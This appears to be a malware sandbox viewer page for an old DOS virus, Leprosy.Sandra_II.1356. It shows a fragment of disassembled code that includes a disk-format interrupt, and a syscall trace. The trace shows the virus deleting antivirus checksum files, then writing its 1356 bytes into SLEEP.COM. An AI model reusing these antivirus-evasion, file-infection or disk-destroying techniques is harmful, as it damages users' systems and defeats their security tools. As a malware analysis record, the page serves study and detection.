Sample viewer

vx.netlux.org/Virus.DOS.Leprosy.Sandra_II.1356

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:10:39.757529995Z 44 PC: 12c2b | Get time 0x12c2b: cmp byte ptr [0x123], 0x80
0x12c30: jne 0x12c4d
0x12c32: mov byte ptr [0x123], 0x82
0x12c37: jmp 0x12c52
0x12c39: sub ch, ch
0x12c3b: sub al, al
0x12c3d: mov cl, 6
0x12c3f: shl al, cl
0x12c41: mov cl, al
0x12c43: or cl, 1
0x12c46: mov ax, 0x500
0x12c49: int 0x13
0x12c4b: int 0x20
0x12c4d: mov byte ptr [0x123], 0x80
0x12c52: mov ah, byte ptr [0x12d]
0x12c56: mov byte ptr [0x122], ah
0x12c5a: mov byte ptr [0x15a], ah
0x12c5e: mov ah, byte ptr [0x10b]
0x12c62: mov byte ptr [0x11f], ah
0x12c66: mov byte ptr [0x155], ah
2018-12-17T23:10:39.762871524Z 250 PC: 12e11 | UNKNOWN!
2018-12-17T23:10:39.767434888Z 255 PC: 12e34 | UNKNOWN!
2018-12-17T23:10:39.771202716Z 65 PC: 12e41 | Delete file (Filename = '')
2018-12-17T23:10:39.781439422Z 60 PC: 12e63 | Create or truncate file
2018-12-17T23:10:39.788627043Z 60 PC: 12e6a | Create or truncate file
2018-12-17T23:10:39.795271953Z 65 PC: 12e71 | Delete file (Filename = 'ANTI-VIR.DAT')
2018-12-17T23:10:39.802215274Z 65 PC: 12e78 | Delete file (Filename = 'CHKLIST.CPS')
2018-12-17T23:10:39.809650911Z 65 PC: 12e7f | Delete file (Filename = 'C:\CPAV\CHKLIST.CPS')
2018-12-17T23:10:39.819101168Z 65 PC: 12e86 | Delete file (Filename = 'C:\NAV_._NO')
2018-12-17T23:10:39.826279231Z 65 PC: 12e8d | Delete file (Filename = 'C:\NOVIRCVR.CTS')
2018-12-17T23:10:39.833131521Z 65 PC: 12e94 | Delete file (Filename = 'C:\NOVIPERF.DAT')
2018-12-17T23:10:39.839013175Z 65 PC: 12e9b | Delete file (Filename = 'C:\TOOLKIT\FILES.LST')
2018-12-17T23:10:39.846262803Z 65 PC: 12ea2 | Delete file (Filename = 'C:\FSIZES.QCV')
2018-12-17T23:10:39.855675018Z 65 PC: 12ea9 | Delete file (Filename = 'C:\UNTOUCH\UT.UT1')
2018-12-17T23:10:39.867879867Z 65 PC: 12eb0 | Delete file (Filename = 'C:\UNTOUCH\UT.UT2')
2018-12-17T23:10:39.874309542Z 65 PC: 12eb7 | Delete file (Filename = 'C:\VS.VS')
2018-12-17T23:10:39.881736453Z 78 PC: 12ed0 | Find first file
2018-12-17T23:10:39.889566752Z 78 PC: 12ee2 | Find first file
2018-12-17T23:10:39.896403703Z 62 PC: 12f42 | Close file
2018-12-17T23:10:39.899269274Z 61 PC: 12f4b | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:10:39.917348152Z 64 PC: 12a6d | Write file or device (Write 1356 bytes on handle 0)
2018-12-17T23:10:39.936761081Z 87 PC: 12f74 | Get or set file date and time
2018-12-17T23:10:39.93893489Z 62 PC: 12f7c | Close file
2018-12-17T23:10:39.948257957Z 67 PC: 12f89 | Get or set file attributes